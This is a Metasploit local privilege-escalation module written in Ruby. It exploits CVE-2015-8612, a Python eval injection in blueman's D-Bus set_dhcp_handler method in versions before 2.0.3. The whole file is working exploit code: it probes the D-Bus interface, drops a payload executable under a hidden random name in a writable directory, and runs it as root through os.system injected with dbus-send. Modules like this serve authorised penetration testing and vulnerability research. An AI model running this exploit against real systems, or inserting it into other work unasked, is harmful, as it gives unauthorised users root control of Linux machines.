blueman set_dhcp_handler D-Bus Privilege Escalation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'blueman set_dhcp_handler D-Bus Privilege Escalation',  
'Description' => %q{  
This module attempts to gain root privileges by exploiting a Python  
code injection vulnerability in blueman versions prior to 2.0.3.  
  
The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the  
`set_dhcp_handler` function which uses user input in a call to `eval`,  
without sanitization, resulting in arbitrary code execution as root.  
  
This module has been tested successfully with blueman version 1.23  
on Debian 8 Jessie (x64).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'the grugq', # Discovery and exploit  
'bcoles' # Metasploit  
],  
'DisclosureDate' => '2015-12-18',  
'References' =>  
[  
['BID', '79688'],  
['CVE', '2015-8612'],  
['URL', 'https://twitter.com/thegrugq/status/677809527882813440'],  
['URL', 'https://github.com/blueman-project/blueman/issues/416'],  
['URL', 'https://www.openwall.com/lists/oss-security/2015/12/18/6'],  
['URL', 'https://www.debian.org/security/2015/dsa-3427'],  
['URL', 'https://bugs.mageia.org/show_bug.cgi?id=17361'],  
['URL', 'http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.421085']  
],  
'Platform' => ['linux'],  
'Arch' =>  
[  
ARCH_X86,  
ARCH_X64,  
ARCH_ARMLE,  
ARCH_AARCH64,  
ARCH_PPC,  
ARCH_MIPSLE,  
ARCH_MIPSBE  
],  
'SessionTypes' => ['shell', 'meterpreter'],  
'Targets' => [['Auto', {}]],  
'DefaultTarget' => 0))  
register_advanced_options [  
OptBool.new('ForceExploit', [false, 'Override check result', false]),  
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def upload(path, data)  
print_status "Writing '#{path}' (#{data.size} bytes) ..."  
rm_f path  
write_file path, data  
register_file_for_cleanup path  
end  
  
def upload_and_chmodx(path, data)  
upload path, data  
chmod path  
end  
  
def dbus_send(dest:, type:, path:, interface:, contents:)  
cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"  
end  
  
def check  
unless command_exists? 'dbus-send'  
vprint_error 'dbus-send is not installed. Exploitation will fail.'  
return CheckCode::Safe  
end  
vprint_good 'dbus-send is installed'  
  
res = dbus_send(  
dest: 'org.blueman.Mechanism',  
type: 'method_call',  
path: '/',  
interface: 'org.freedesktop.DBus.Introspectable.Introspect',  
contents: ''  
)  
  
unless res.include? 'EnableNetwork'  
vprint_error 'org.blueman.Mechanism.EnableNetwork D-Bus interface is not available'  
return CheckCode::Safe  
end  
vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available'  
  
res = execute_python('')  
unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'  
vprint_error 'Target is not vulnerable'  
return CheckCode::Safe  
end  
  
CheckCode::Vulnerable  
end  
  
def execute_python(code)  
dbus_send(  
dest: 'org.blueman.Mechanism',  
type: 'method_call',  
path: '/',  
interface: 'org.blueman.Mechanism.EnableNetwork',  
contents: "'string:[]' 'string:[]' 'string:#{code}'"  
)  
end  
  
def exploit  
unless check == CheckCode::Vulnerable  
unless datastore['ForceExploit']  
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'  
end  
print_warning 'Target does not appear to be vulnerable'  
end  
  
if is_root?  
unless datastore['ForceExploit']  
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'  
end  
end  
  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
payload_name = ".#{rand_text_alphanumeric 10..15}"  
payload_path = "#{base_dir}/#{payload_name}"  
upload_and_chmodx payload_path, generate_payload_exe  
  
print_status 'Executing payload...'  
res = execute_python "os.system(\"#{payload_path}&\")"  
vprint_line res  
  
unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'  
fail_with Failure::NotVulnerable, 'The target is not vulnerable'  
end  
  
if res.include? 'SyntaxError:'  
fail_with Failure::Unknown, 'Payload execution failed due to syntax error'  
end  
end  
end  
`